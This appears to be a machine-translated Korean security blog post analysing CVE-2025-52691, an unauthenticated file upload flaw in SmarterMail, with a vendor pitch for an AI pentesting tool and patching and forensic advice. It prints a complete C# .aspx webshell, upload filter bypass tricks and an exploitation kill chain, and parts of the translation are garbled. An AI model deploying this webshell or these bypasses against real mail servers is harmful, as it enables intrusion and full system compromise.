2025년으로 다가온 지금, 사이버 보안 커뮤니티는 치명적인 마지막 도전에 직면해 있습니다. 12월 30일, 싱가포르 사이버 보안국(CSA)은 다음과 같은 중대한 경고를 발표했습니다. CVE-2025-52691의 취약점을 발견했습니다. 스마터툴 스마터메일 최대 심각도 등급을 표시합니다: CVSS 10.0.
레드 팀원들에게 이 취약점은 '성배'와 같은 존재입니다. 인증되지 않은 임의 파일 업로드 로 직접 연결됩니다. 원격 코드 실행(RCE) as 시스템. 블루팀과 시스템 관리자에게는 기업 커뮤니케이션 인프라의 무결성에 대한 즉각적이고 실존적인 위협입니다.
이것은 이론적인 우회나 복잡한 경쟁 조건이 아닙니다. 이는 입력 처리의 근본적인 구조적 결함입니다. 이 문서에서는 이 취약점에 대한 포렌식 분석을 통해 .NET 엔드포인트가 실패하는 방식, IIS가 악성 페이로드를 처리하는 방식, 최신 AI 기반 보안이 이러한 위협이 무기화되기 전에 식별하는 방법을 자세히 설명합니다.
위협 환경: CVE-2025-52691이 다른 이유
SmarterMail은 널리 배포된 Exchange 대안으로, 특히 MSP(관리 서비스 제공업체)와 중견 기업이 선호합니다. 이 솔루션은 다음에서 실행됩니다. Windows/IIS/.NET 스택. 권한으로 파일 업로드의 손상을 제한할 수 있는 Linux 기반 메일 서버와 달리 Windows IIS 환경은 관대하지 않은 것으로 악명이 높습니다.
취약점 인텔리전스 카드
| Metric | 인텔리전스 세부 정보 |
|---|---|
| CVE 식별자 | CVE-2025-52691 |
| 취약성 등급 | 무제한 파일 업로드(CWE-434) |
| 공격 벡터 | 네트워크(원격) |
| 필요한 권한 | 없음(인증되지 않음) |
| 사용자 상호 작용 | 없음 |
| 영향을 받는 빌드 | SmarterMail 9406 및 이전 버전 |
| 해결 방법 | 즉시 빌드 9413+로 업데이트 |
여기서 위험은 공격 표면. 메일 서버는 정의상 공용 인터넷에 노출되어 있습니다. 인증이 전혀 필요하지 않고 안정적인 셸을 제공하는 취약점은 자동화된 봇넷이 PoC 공개 후 몇 시간 내에 수천 대의 서버를 손상시킬 수 있음을 의미합니다.

기술 심층 분석: 결함의 메커니즘
CVE-2025-52691의 작동 방식을 이해하려면 SmarterMail이 HTTP 요청을 처리하는 방식을 분석해야 합니다. 이 취약점은 파일 첨부 또는 사용자 업로드를 처리하도록 설계된 특정 API 엔드포인트에 존재합니다.
사라진 '게이트키퍼'
보안 .NET 응용 프로그램에서 모든 컨트롤러 동작 처리 파일은 다음과 같이 장식해야 합니다. [권한 부여] 속성과 엄격한 파일 유효성 검사 로직을 사용합니다. CVE-2025-52691이 존재하는 이유는 특정 핸들러(예: 일반적인 .ashx 핸들러 또는 REST API 경로가 이러한 검사 없이 노출되었습니다.
POST 요청이 이 엔드포인트에 도달하면 서버는 다음과 같이 처리합니다. 멀티파트/양식 데이터 스트림.
취약한 코드 패턴(재구성)
정확한 소스 코드는 독점적이지만 표준 .NET 취약성 클래스를 기반으로 취약성 패턴을 재구성할 수 있습니다. 이 결함은 다음 C# 로직과 유사할 가능성이 높습니다:
C#
`public class LegacyUploadHandler : IHttpHandler { public void ProcessRequest(HttpContext context) { // 치명적 결함: 세션 확인 또는 인증 확인 없음 // if (context.Session["User"] == null) return; <- MISSING
HttpPostedFile file = context.Request.Files["upload"];
문자열 fileName = file.FileName;
// 치명적 결함: 파일 경로에 대한 사용자 입력 신뢰
// .aspx, .exe, .config에 대한 화이트리스트 검사 없음
string savePath = context.Server.MapPath("~/App_Data/Temp/" + fileName);
file.SaveAs(savePath);
}
}`
IIS 실행 파이프라인
파일 업로드가 치명적인 이유는 무엇인가요? PHP에서는 .htaccess. Python에서는 스크립트를 업로드하고 실행할 수 없습니다. 하지만 ASP.NET IIS에서 실행로 설정하면 동작이 달라집니다.
공격자가 파일을 첨부할 수 있는 경우 .aspx 또는 .ashx 확장자를 스크립트 실행을 허용하는 디렉터리(대부분의 웹 디렉터리의 기본값)에 추가하고, IIS 작업자 프로세스(w3wp.exe)가 해당 파일을 컴파일합니다. 적시 납품(JIT) 에 대한 첫 번째 HTTP 요청 시
- 공격자 업로드
shell.aspx. - 공격자 요청
GET /App_Data/Temp/shell.aspx. - IIS 확장자를 확인하면 CLR(공용 언어 런타임)을 호출합니다.
- CLR 내부 코드를 컴파일합니다.
shell.aspx를 클릭하고 실행합니다. - RCE 달성.

킬 체인: 디스커버리에서 시스템 셸까지
이 공격 경로를 시뮬레이션하는 보안 엔지니어의 경우, 킬 체인은 네 가지 단계를 거칩니다.
1단계: 정찰
공격자가 SmarterMail 지문을 검색합니다.
- 헤더:
Server: Microsoft-IIS/10.0,X-Powered-By: ASP.NET - 제목:
SmarterMail 로그인 - 엔드포인트 프로빙: 다음과 같은 알려진 업로드 엔드포인트에 대해 퍼징을 수행합니다.
/api/V1/설정/업로드,/파일저장소/업로드.ashx또는 레거시 SOAP 엔드포인트.
2단계: 무기화
공격자는 "웹셸"을 생성합니다. 일반적인 C# 웹쉘 페이로드는 다음과 같습니다:
<%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <script runat="server"> protected void Page_Load(object sender, EventArgs e) { if (!string.IsNullOrEmpty(Request.QueryString["cmd"])) { Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + Request.QueryString["cmd"]; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.Start(); Response.Write(p.StandardOutput.ReadToEnd()); p.WaitForExit(); } } </script>
3단계: 전달(익스플로잇)
공격자가 POST 요청을 보냅니다.
- 바이패스 기술: 서버가 콘텐츠 유형을 확인하면 공격자는 헤더를 다음과 같이 수정합니다.
콘텐츠 유형: 이미지/jpeg. 서버가 확장자를 확인하지만 논리 오류(예: 처음 3개 문자만 확인)가 있는 경우 공격자는shell.aspx.jpg또는 NTFS 대체 데이터 스트림 트릭(shell.aspx::$DATA).
4단계: 익스플로잇
공격자가 셸에 액세스합니다:
https://mail.target.com/shell.aspx?cmd=whoami
응답: NT 권한\\시스템
이 시점에서 게임은 끝났습니다. 공격자는 LSASS 프로세스를 덤프하여 관리자 자격 증명을 얻거나 랜섬웨어를 설치하거나 도메인 컨트롤러로 피벗할 수 있습니다.
논리 결함을 탐지하는 AI의 역할: 펜리젠트 접근법
기존의 DAST(동적 애플리케이션 보안 테스트) 도구는 다음과 같은 취약점을 찾는 데 어려움을 겪는 것으로 악명이 높습니다. CVE-2025-52691 스타일 버그. 왜 그럴까요?
- 컨텍스트 블라인드: 스캐너는 크롤링 링크에 의존합니다. HTML에 링크되지 않은 API 엔드포인트(숨겨진 엔드포인트)는 스캐너에 보이지 않습니다.
- 파괴에 대한 두려움: 스캐너는 애플리케이션이 손상되거나 관리자에게 알려질까 봐 파일 업로드를 주저합니다.
여기에서 Penligent.ai 는 공격 보안 팀의 패러다임 전환을 의미합니다. 펜리전트는 다음을 활용합니다. AI 기반 논리 분석 단순한 패턴 매칭이 아닌
- 발견할 수 없는 것의 발견
펜리젠트의 에이전트는 클라이언트 측 JavaScript 번들과 컴파일된 DLL(액세스 가능한 경우)을 분석하여 API 맵을 재구성합니다. 명시적으로 연결되지 않은 업로드 핸들러의 존재를 추론하여 CVE-2025-52691과 같은 취약점이 숨어 있는 '섀도 API'를 효과적으로 찾아냅니다.
- 비파괴적 착취 증명
펜리전트는 악성 웹쉘을 업로드하는 대신 양성 마커 파일(예: 고유하고 무작위화된 해시가 있는 텍스트 파일)을 생성합니다. 업로드를 시도한 다음 공개 URL을 통해 특정 해시를 검색할 수 있는지 확인합니다. 이렇게 하면 무제한 파일 업로드 취약점(CWE-434)이 100%의 확실성과 RCE 또는 서비스 중단 위험이 전혀 없는 것으로 확인됩니다.
CISO에게 이는 이론적인 '보통' 위험 보고서와 즉각적인 패치가 필요한 확인된 '심각' 결과의 차이를 의미합니다.
개선 및 강화 전략
SmarterMail을 운영 중이라면 시간과의 싸움을 하고 있는 것입니다.
- 즉시 패치 적용
지금 바로 빌드 9413으로 업그레이드하세요. 이번 릴리스에서는 엄격한 인증 검사 및 화이트리스트 기반 파일 확장자 유효성 검사를 구현했습니다.
- IIS 요청 필터링(임시 완화)
즉시 패치를 적용할 수 없는 경우 웹 서버 수준에서 공격 벡터를 차단해야 합니다. IIS 요청 필터링을 사용하여 업로드 디렉터리의 .aspx 파일에 대한 액세스를 거부합니다.
- 액션: IIS 관리자 -> 요청 필터링 -> URL 탭 -> 시퀀스 거부에서.
- 규칙: 다음에 대한 요청 차단
/App_Data/*.aspx또는/파일저장소/*.aspx.
- 포렌식 헌팅
이미 감염되었을 수 있다고 가정합니다. 파일 시스템에서 검색합니다:
- 로 끝나는 파일
.aspx,.ashx,.cer,.soap12월 29일부터 오늘 사이에 생성되었습니다. - IIS 로그(
u_ex*.log)를 사용하여 알 수 없는 IP 주소에서 오는 엔드포인트를 업로드하는 POST 요청을 처리하고, 바로 이어서 새 파일에 대한 GET 요청을 처리합니다.
결론
CVE-2025-52691 는 소프트웨어의 세계에서 편리함은 종종 보안의 대가를 치른다는 사실을 극명하게 보여줍니다. '사소한' 파일 업로드 핸들러에서 단 한 번의 인증 확인 누락으로 수백만 달러의 방화벽 및 EDR 투자가 무용지물이 될 수 있습니다.
2026년으로 접어들면서 공격의 복잡성은 더욱 증가할 것입니다. 보안 엔지니어는 수동 체크리스트에서 벗어나 자동화된 지능형 검증 도구를 도입해야 합니다. 오늘 밤 패치를 적용하든 내일 AI 기반 테스트를 배포하든, 공격자가 침입하기 전에 문을 닫는다는 목표는 동일합니다.

